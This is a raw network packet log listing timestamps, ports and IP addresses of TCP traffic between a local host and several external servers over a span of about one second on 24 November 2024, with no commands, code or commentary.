Nov 24, 2024 04:20:44.509824038 CET	443	49857	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:44.520462036 CET	49857	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:44.520483017 CET	443	49857	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:44.520912886 CET	49857	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:44.520920038 CET	443	49857	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:44.621560097 CET	443	49859	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.621678114 CET	443	49859	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.622514009 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:44.622551918 CET	49859	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.623102903 CET	49859	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.623141050 CET	443	49859	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.625533104 CET	443	49862	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.625608921 CET	443	49862	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.625730038 CET	49862	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.625874043 CET	49862	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.625891924 CET	443	49862	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.629162073 CET	443	49861	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:44.629806995 CET	443	49858	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:44.630373955 CET	49861	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:44.630419970 CET	443	49861	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:44.630733013 CET	49858	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:44.630754948 CET	443	49858	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:44.630850077 CET	49861	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:44.630858898 CET	443	49861	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:44.631134987 CET	49858	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:44.631141901 CET	443	49858	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:44.632388115 CET	443	49863	162.159.61.3	192.168.2.6
Nov 24, 2024 04:20:44.632476091 CET	443	49863	162.159.61.3	192.168.2.6
Nov 24, 2024 04:20:44.632546902 CET	49863	443	192.168.2.6	162.159.61.3
Nov 24, 2024 04:20:44.637332916 CET	49863	443	192.168.2.6	162.159.61.3
Nov 24, 2024 04:20:44.637348890 CET	443	49863	162.159.61.3	192.168.2.6
Nov 24, 2024 04:20:44.647758961 CET	443	49860	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:44.648498058 CET	49860	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:44.648531914 CET	443	49860	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:44.649046898 CET	49860	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:44.649055958 CET	443	49860	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:44.741981030 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:44.885576963 CET	443	49866	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.886111021 CET	49866	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.886154890 CET	443	49866	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.887181997 CET	443	49866	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.887243986 CET	49866	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.890592098 CET	49866	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.890681982 CET	443	49866	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.890773058 CET	49866	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.890791893 CET	443	49866	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.912298918 CET	443	49868	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.912604094 CET	49868	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.912636995 CET	443	49868	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.913227081 CET	443	49864	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:44.913640022 CET	443	49868	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.913700104 CET	49868	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.914125919 CET	49864	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:44.914138079 CET	443	49864	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:44.914731026 CET	49868	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.914797068 CET	443	49868	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.914871931 CET	49864	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:44.914875984 CET	443	49864	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:44.914928913 CET	49868	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.914942980 CET	443	49868	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.948538065 CET	443	49867	162.159.61.3	192.168.2.6
Nov 24, 2024 04:20:44.948792934 CET	49867	443	192.168.2.6	162.159.61.3
Nov 24, 2024 04:20:44.948815107 CET	443	49867	162.159.61.3	192.168.2.6
Nov 24, 2024 04:20:44.949382067 CET	49869	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.949418068 CET	443	49869	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.949619055 CET	49869	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.949820042 CET	49870	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.949856997 CET	443	49870	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.949978113 CET	49869	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.949994087 CET	443	49869	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.950006008 CET	49870	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.950222015 CET	49870	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.950239897 CET	443	49870	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.952389002 CET	443	49867	162.159.61.3	192.168.2.6
Nov 24, 2024 04:20:44.952467918 CET	49867	443	192.168.2.6	162.159.61.3
Nov 24, 2024 04:20:44.953089952 CET	443	49857	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:44.953154087 CET	443	49857	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:44.953197002 CET	49857	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:44.954313993 CET	49867	443	192.168.2.6	162.159.61.3
Nov 24, 2024 04:20:44.954499960 CET	443	49867	162.159.61.3	192.168.2.6
Nov 24, 2024 04:20:44.954695940 CET	49867	443	192.168.2.6	162.159.61.3
Nov 24, 2024 04:20:44.954710960 CET	443	49867	162.159.61.3	192.168.2.6
Nov 24, 2024 04:20:44.955811977 CET	49857	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:44.955826998 CET	443	49857	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:44.955833912 CET	49857	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:44.955838919 CET	443	49857	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:44.960917950 CET	49871	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:44.960956097 CET	443	49871	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:44.961005926 CET	49871	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:44.961313009 CET	49871	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:44.961324930 CET	443	49871	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:44.970010996 CET	49866	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.976885080 CET	49868	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.976957083 CET	443	49868	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.977009058 CET	49868	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.985538960 CET	49866	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:44.985620022 CET	443	49866	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:44.985703945 CET	49866	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:45.001179934 CET	49872	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:45.001291990 CET	443	49872	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:45.001369953 CET	49872	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:45.001993895 CET	49873	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:45.002055883 CET	443	49873	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:45.002136946 CET	49873	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:45.002417088 CET	49874	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:45.002439022 CET	443	49874	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:45.002522945 CET	49874	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:45.002698898 CET	49875	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:45.002723932 CET	443	49875	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:45.002777100 CET	49875	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:45.003057957 CET	49875	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:45.003079891 CET	443	49875	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:45.003407001 CET	49874	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:45.003448963 CET	443	49874	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:45.003495932 CET	49873	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:45.003511906 CET	443	49873	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:45.003746033 CET	49872	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:45.003773928 CET	443	49872	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:45.063718081 CET	443	49861	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:45.063796043 CET	443	49861	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:45.063992977 CET	49861	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:45.064089060 CET	49861	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:45.064090014 CET	49861	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:45.064140081 CET	443	49861	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:45.064169884 CET	443	49861	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:45.064970016 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.067292929 CET	49876	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:45.067384005 CET	443	49876	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:45.067456007 CET	49876	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:45.067610979 CET	49876	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:45.067641973 CET	443	49876	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:45.069108009 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.069173098 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.069209099 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.073504925 CET	443	49858	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:45.073571920 CET	443	49858	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:45.073620081 CET	49858	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:45.073731899 CET	49858	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:45.073756933 CET	443	49858	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:45.073776007 CET	49858	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:45.073784113 CET	443	49858	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:45.077533960 CET	49877	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:45.077570915 CET	443	49877	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:45.077946901 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.077976942 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.077991962 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.078000069 CET	49877	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:45.078104973 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.078120947 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.078176975 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.078177929 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.078177929 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.078213930 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.078229904 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.078269005 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.078299999 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.078314066 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.078327894 CET	49877	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:45.078330994 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.078344107 CET	443	49877	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:45.078383923 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.080585957 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.080641985 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.080662966 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.082437038 CET	443	49860	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:45.082489967 CET	443	49860	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:45.082679033 CET	49860	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:45.082679987 CET	49860	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:45.082679987 CET	49860	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:45.084650040 CET	49878	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:45.084683895 CET	443	49878	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:45.084798098 CET	49878	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:45.084927082 CET	49878	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:45.084949017 CET	443	49878	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:45.086544037 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.086642981 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.086673021 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.086868048 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.090112925 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.090159893 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.090177059 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.090415001 CET	49867	443	192.168.2.6	162.159.61.3
Nov 24, 2024 04:20:45.090552092 CET	443	49867	162.159.61.3	192.168.2.6
Nov 24, 2024 04:20:45.090783119 CET	49867	443	192.168.2.6	162.159.61.3
Nov 24, 2024 04:20:45.094897985 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.094970942 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.109072924 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.109241009 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.109304905 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.117408037 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.117486000 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.117502928 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.132507086 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.133652925 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.133671999 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.174833059 CET	443	49865	150.171.27.10	192.168.2.6
Nov 24, 2024 04:20:45.174936056 CET	49865	443	192.168.2.6	150.171.27.10
Nov 24, 2024 04:20:45.175607920 CET	443	49865	150.171.27.10	192.168.2.6
Nov 24, 2024 04:20:45.175947905 CET	49865	443	192.168.2.6	150.171.27.10
Nov 24, 2024 04:20:45.181098938 CET	49865	443	192.168.2.6	150.171.27.10
Nov 24, 2024 04:20:45.181117058 CET	443	49865	150.171.27.10	192.168.2.6
Nov 24, 2024 04:20:45.181358099 CET	443	49865	150.171.27.10	192.168.2.6
Nov 24, 2024 04:20:45.181416035 CET	49865	443	192.168.2.6	150.171.27.10
Nov 24, 2024 04:20:45.181638002 CET	49865	443	192.168.2.6	150.171.27.10
Nov 24, 2024 04:20:45.188561916 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.188666105 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.188702106 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.188776970 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.188855886 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.197220087 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.227334023 CET	443	49865	150.171.27.10	192.168.2.6
Nov 24, 2024 04:20:45.278923988 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.278969049 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.278978109 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.279006004 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.279136896 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.286175013 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.288976908 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.289150000 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.289468050 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.292951107 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.293004990 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.293018103 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.293081045 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.293302059 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.293345928 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.293369055 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.300653934 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.300874949 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.300915003 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.300931931 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.300983906 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.301029921 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.301068068 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.308902979 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.308938980 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.308995962 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.309031010 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.312449932 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.312504053 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.312527895 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.316013098 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.316075087 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.316082001 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.316966057 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.317032099 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.317126036 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.317188978 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.324800014 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.324871063 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.324891090 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.325066090 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.330477953 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.330544949 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.330571890 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.332775116 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.332864046 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.332943916 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.333005905 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.340812922 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.340868950 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.340884924 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.341037035 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.344400883 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.344480991 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.344508886 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.348941088 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.348982096 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.349014997 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.349203110 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.356687069 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.356791973 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.357947111 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.358025074 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.358036041 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.358051062 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.364664078 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.364723921 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.364742041 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.364784956 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.366368055 CET	443	49864	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:45.366441011 CET	443	49864	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:45.367722988 CET	49864	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:45.367722988 CET	49864	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:45.367722988 CET	49864	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:45.369822025 CET	49879	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:45.369851112 CET	443	49879	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:45.369920969 CET	49879	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:45.370268106 CET	49879	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:45.370280027 CET	443	49879	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:45.370682001 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.370734930 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.370762110 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.372617006 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.372678995 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.382572889 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.382636070 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.382658958 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.394484043 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.394541025 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.394566059 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.406359911 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.406455040 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.406472921 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.418188095 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.418241024 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.418257952 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.443252087 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.443301916 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.443332911 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.445533037 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.445584059 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.445605040 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.486947060 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.486996889 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.487030029 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.487081051 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.487251043 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.489952087 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.494234085 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.494329929 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.494337082 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.494371891 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.494443893 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.498722076 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.498740911 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.498773098 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.498833895 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.498833895 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.500545979 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.500643015 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.500713110 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.503139973 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.504563093 CET	49850	443	192.168.2.6	172.217.19.225
Nov 24, 2024 04:20:45.504579067 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.506746054 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.506843090 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:45.506918907 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:45.507174969 CET	443	49850	172.217.19.225	192.168.2.6
Nov 24, 2024 04:20:45.507394075 CET	49850	443	192.168.2.6	172.217.19.225
